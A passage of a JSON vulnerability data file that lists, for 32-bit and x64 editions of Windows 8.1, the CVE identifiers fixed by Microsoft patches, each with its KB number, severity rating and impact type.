Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 8.1 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197873\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197873\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012213\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2013-3893\",\"kb\":\"2884101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901125\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126434\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3185331\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012216\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012216\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041693\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054519\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022726\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022726\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025336\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038792\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074594\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0833\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093114\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467703\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487000\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534297\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537821\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003671\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005613\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014738\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 8.1 for x64-based Systems\":[{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197873\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197873\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012213\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2013-3893\",\"kb\":\"2884101\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901125\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072307\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126434\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of 